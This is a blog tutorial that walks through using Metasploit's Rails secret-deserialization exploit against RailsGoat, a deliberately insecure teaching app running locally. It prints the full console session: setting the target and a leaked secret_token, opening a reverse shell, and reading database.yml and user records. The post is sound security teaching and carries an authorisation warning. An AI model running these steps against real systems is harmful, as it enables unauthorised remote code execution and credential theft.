Exploit your Rails application with MetaSploit

Last month, we published an article on Static Security Analysis of your Ruby and Rails applications, but what about the other side of the coin, live application scanning and exploitation?

MetaSploit is a very popular tool for doing both good and evil. It is a penetration tester for insecure systems and also an exploit delivery mechanism for those that might not have the best intentions at heart. However, it is a powerful tool that we can use it to check our servers and applications for known exploitable security issues (hopefully before others beat us to it)!

As it happens, MetaSploit and its modules are also written in Ruby!, so let’s get it setup on your computer, so we can take a look at it, and start poking at RailsGoat, an Open-source Rails application that is intentionally insecure as a teaching-tool.

If you are on Linux or Windows, there are binaries available for MetaSploit, but today we are going to take a look at the source.

If using OSX, and you already have Homebrew, XCode, and PostgreSQL setup, you can follow these directions, but on other operating systems, you may need to make some minor adjustments.

RailsGoat

If we want to exploit an application, we’ll first need an application server running to exploit.

The RailsGoat project is a perfect candidate, since we know it is vulnerable to the OWASP Top 10 web application security threats, as well as some Rails-specific ones.

Get it running with this:


git clone https://github.com/OWASP/railsgoat.git
cd railsgoat
git checkout 7f89ffc # since the git master branch is a moving target
rvm use $(cat .ruby-version) --install
bundle install
rake db:setup
rails server

If bundle install bombed out on libv8, and you are on OSX Yosemite, open up Gemfile.lock and change the version of libv8 to (3.16.14.7).

If everything went smoothly, you should be able to visit http://localhost:3000 in your web browser and see the RailsGoat application is running. Leave the server running in a terminal tab or window.

MetaSploit

First, let’s install Nmap if you don’t already have it. Nmap is a command-line tool that can scan an internet host and glean all sorts of useful information about the server and its exposed ports and services, and is required for MetaSploit, so let’s install it:


brew install nmap

Now, let’s get the actual source code for MetaSploit:


git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
git checkout f46b4ab # because git master is a moving target
rvm use ruby $(cat .ruby-version) --install
gem install bundler
bundle install

(I had to issue a bundle update nokogiri on my system since I’m on Yosemite).

And give it a database to use:


createdb metasploit_framework_development -h localhost
cp config/database.yml.example config/database.yml

Edit the username and password in config/database.yml to connect to the database you just created. On default configurations of PostgreSQL, you should be able to use the username of the currently-logged-in user, and no password (as long as the server is running on localhost).


./msfconsole

This will connect you to the MetaSploit console, lets take a quick look at some of the things it can do:


help
search rails

Hey, the rails_secret_deserialization exploit looks interesting, let’s load it up:


use exploit/multi/http/rails_secret_deserialization
run
[-] Exploit failed: The following options failed to validate: RHOST, SECRET

This particular script requires these variables to be set. Look at all the options with:


show options

We can also open the actual exploit script and take a look at it in your favorite text editor, or check it out on GitHub. I recommend it. You can learn all sorts of interesting things, especially by checking out the payloads (like build_cookie).

You can see there are several required options, but most have a default set already. One we want to change is RPORT (which defaults to 80, and we are running our local server on port 3000), but otherwise this seems to just need RHOST and SECRET, so let us set those, too:


set RHOST 127.0.0.1
RHOST => 127.0.0.1
set RPORT 3000
RPORT => 3000

The SECRET is the value of secret_token. Because RailsGoat is very lax in security, it was committed to the repository! Open up the RailsGoat project and find it in config/initializers/secret_token.rb and paste it in.


set SECRET 2f1d90a26236c3245d96f5606c201a780dc9ca687e5ed82b45e211bb5dc84c1870f61ca9e002dad5dd8a149c9792d8f07f31a9575065cca064bd6af44f8750e4
SECRET => 2f1d90a26236c3245d96f5606c201a780dc9ca687e5ed82b45e211bb5dc84c1870f61ca9e002dad5dd8a149c9792d8f07f31a9575065cca064bd6af44f8750e4

Let’s give it a go:


run
[*] Started reverse handler on 192.168.1.71:4444
[*] Checking for cookie
[*] Adjusting cookie name to _railsgoat_session
[+] SECRET matches! Sending exploit payload
[*] Sending cookie _railsgoat_session
[*] Command shell session 1 opened (192.168.1.71:4444 -> 192.168.1.71:51656) at 2014-04-21 22:35:58 -0400

Whoops. That isn’t good. It appears we just got shell on the server. If you see a shell, you can already start executing system commands as the user the Rails application is running at, including peeking at database.yml and all kinds of other nastiness.

 

Sometimes the prompt is returned, and it is obvious you have a shell, but on my system it was blank, but running commands works anyway:

 

Try this:


ls
cat config/database.yml

or


bundle exec rails console

User.all
exit

When you are ready to stop causing chaos, Ctrl+c and you’ll see:


Abort session 1 [y/N]  y

If you have multiple sessions, you can see them with:


sessions

and connect to them again with sessions -i <Id>.


exit

That’s just the tip of the iceberg, I would encourage you to search and look through the source, especially under /modules.

You can also run this against your own applications (and I hope you will), but please be a responsible security researcher, and only connect to systems you own or are authorized to access. Accessing a system you aren’t allowed to can be very bad, and you can be sued or even jailed, not to mention that you could ruin other people’s lives and businesses. Don’t do it.

Making security part of your process today will save you from many headaches down the road. No one wants to lose a significant amount of work, to have to reach out to clients to disclose a security issue, or to have their business have to fold entirely due to a malicious hacker or automated internet-scan.

Please, please get out there and update your tech stack and secure your applications before someone else forces your hand.

David Jones

Codes often. Eats sometimes. Speaks infrequently. Beards always.

permalink

Post a Comment